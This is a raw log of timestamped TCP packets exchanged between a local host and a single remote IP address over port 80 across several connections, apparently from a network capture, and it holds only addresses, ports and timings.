Oct 10, 2024 21:02:02.200324059 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.200670958 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.200696945 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.509577036 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.518053055 CEST	50341	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:02.523914099 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.523971081 CEST	50341	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:02.648041010 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:02.653196096 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.653338909 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:02.653698921 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:02.658689022 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.099555969 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.100471020 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.100753069 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.105540991 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.105722904 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.105772972 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.105784893 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.105799913 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.105825901 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.105835915 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.105845928 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.105874062 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.105892897 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.105915070 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.105918884 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.105945110 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.105957031 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.105986118 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.106368065 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.106395960 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.106412888 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.106431007 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.106483936 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.106525898 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.111018896 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.111047029 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.111073971 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.111083031 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.111097097 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.111123085 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.111144066 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.111166954 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.111224890 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.111268997 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.111293077 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.111335993 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.111381054 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.111438990 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.111609936 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.111686945 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.111715078 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.116369009 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.116442919 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.116513968 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.116657972 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.116784096 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.116856098 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.116904020 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.116930962 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.116961002 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.117008924 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.117038012 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.117288113 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.117332935 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.117357969 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.117453098 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.117480040 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.117506027 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.117551088 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.117577076 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.117603064 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.117633104 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.121440887 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.121469975 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.411035061 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.420020103 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.427962065 CEST	80	50342	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.428028107 CEST	50342	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.536171913 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.541778088 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:03.541871071 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.542251110 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:03.547148943 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.062104940 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.063500881 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.063500881 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.069066048 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.069103003 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.069130898 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.069163084 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.069211960 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.069211960 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.069394112 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.069457054 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.069529057 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.069578886 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.069590092 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.069606066 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.069633007 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.069652081 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.069659948 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.069681883 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.069729090 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.073647022 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.073731899 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.074209929 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.074281931 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.074318886 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.074367046 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.074382067 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.074394941 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.074421883 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.074426889 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.074455976 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.074486017 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.074629068 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.074662924 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.074701071 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.074748039 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.074774981 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.074822903 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.074846029 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.074852943 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.074901104 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.074908972 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.074909925 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.074964046 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.079123974 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.079195023 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.079370975 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.079426050 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.079526901 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.079556942 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.079710007 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.079864979 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.080061913 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.080092907 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.080118895 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.080164909 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.080190897 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.080238104 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.080264091 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.080288887 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.080315113 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.080359936 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.080384970 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.080410957 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.080435991 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.080480099 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.080506086 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.080529928 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.084286928 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.084314108 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.084338903 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.371165037 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.379942894 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.386368990 CEST	80	50343	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.386432886 CEST	50343	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.569664955 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.774005890 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:04.774152994 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.784837008 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:04.789856911 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.263648987 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.264744997 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.264997005 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.269860983 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.269963026 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.270015001 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.270018101 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.270045042 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.270066023 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.270070076 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.270087957 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.270107031 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.270117044 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.270143032 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.270158052 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.270169020 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.270184994 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.270207882 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.270215988 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.270242929 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.270256042 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.270291090 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.274663925 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.274719954 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.275032997 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.275079966 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.275146961 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.275173903 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.275192022 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.275211096 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.275227070 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.275254965 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.275276899 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.275301933 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.275305986 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.275329113 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.275357008 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.275373936 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.275424957 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.275428057 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.275475025 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.275480032 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.275501966 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.275526047 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.275562048 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.279663086 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.279736042 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.280334949 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.280394077 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.280435085 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.282260895 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.284753084 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.285311937 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.285357952 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.285382986 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.285959005 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.570972919 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.581463099 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.588092089 CEST	80	50344	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.588249922 CEST	50344	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.705912113 CEST	50345	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.711277962 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:05.711365938 CEST	50345	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.711723089 CEST	50345	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:05.716610909 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.159751892 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.160768986 CEST	50345	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:06.161144018 CEST	50345	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:06.165766954 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.166014910 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.166085005 CEST	50345	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:06.166212082 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.166241884 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.166280031 CEST	50345	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:06.166320086 CEST	50345	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:06.166410923 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.166440964 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.166467905 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.166491985 CEST	50345	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:06.166495085 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.166522980 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.166523933 CEST	50345	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:06.166549921 CEST	50345	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:06.166551113 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.166583061 CEST	50345	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:06.166610003 CEST	50345	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:06.170715094 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.170782089 CEST	50345	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:06.170939922 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.171005011 CEST	50345	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:06.171233892 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.171262026 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.171305895 CEST	50345	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:06.171329975 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.171350956 CEST	50345	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:06.171415091 CEST	50345	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:06.171483994 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.171552896 CEST	50345	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:06.171576023 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.171641111 CEST	50345	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:06.171669960 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.171782970 CEST	50345	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:06.172029018 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.172103882 CEST	50345	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:06.175918102 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.175998926 CEST	50345	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:06.176395893 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.176476955 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.176506996 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.176618099 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.176855087 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.177124977 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.177150965 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.177179098 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.177205086 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.177232981 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.177261114 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.177285910 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.177321911 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.177333117 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.177359104 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.177369118 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.177380085 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.177405119 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.177433014 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.177459002 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.177484989 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.177511930 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.180982113 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.181190968 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.181221008 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.467011929 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.477957964 CEST	50345	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:06.483488083 CEST	80	50345	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.483700991 CEST	50345	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:06.601790905 CEST	50346	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:06.606865883 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:06.606949091 CEST	50346	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:06.619180918 CEST	50346	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:06.624129057 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.064440966 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.065948963 CEST	50346	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:07.066235065 CEST	50346	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:07.070888996 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.071192980 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.071202993 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.071254969 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.071264029 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.071295977 CEST	50346	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:07.071295977 CEST	50346	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:07.071316957 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.071327925 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.071342945 CEST	50346	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:07.071402073 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.071408987 CEST	50346	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:07.071410894 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.071436882 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.071451902 CEST	50346	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:07.071470022 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.071480036 CEST	50346	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:07.071518898 CEST	50346	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:07.076327085 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.076337099 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.076353073 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.076361895 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.076400042 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.076411009 CEST	50346	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:07.076453924 CEST	80	50346	104.21.59.199	192.168.2.4
